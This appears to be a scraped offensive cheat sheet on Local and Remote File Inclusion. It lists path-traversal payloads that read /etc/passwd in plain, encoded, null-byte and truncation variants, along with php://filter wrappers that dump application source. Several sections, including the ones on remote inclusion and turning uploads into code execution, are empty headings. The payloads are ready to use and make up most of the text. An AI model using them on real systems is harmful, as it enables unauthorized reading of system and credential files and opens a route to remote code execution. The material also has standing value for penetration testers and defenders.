Local and Remote File Inclusion
Basic Payloads
/etc/passwd
../../../../etc/passwd
/../../../etc/passwd
./languages/../../../../etc/passwd
....//....//....//....//etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]
../../../../etc/passwd%00
php://filter/read=convert.base64-encode/resource=config PHP Wrappers to Read Source Code
# make sure you are not adding php at the end
php://filter/read=convert.base64-encode/resource=configData Wrapper to RCE


Remote File Inclusion (RFI)

LFI and File Upload to RCE
Crafting Malicious Image
ZIP Upload To RCE
PHAR Upload
Last updated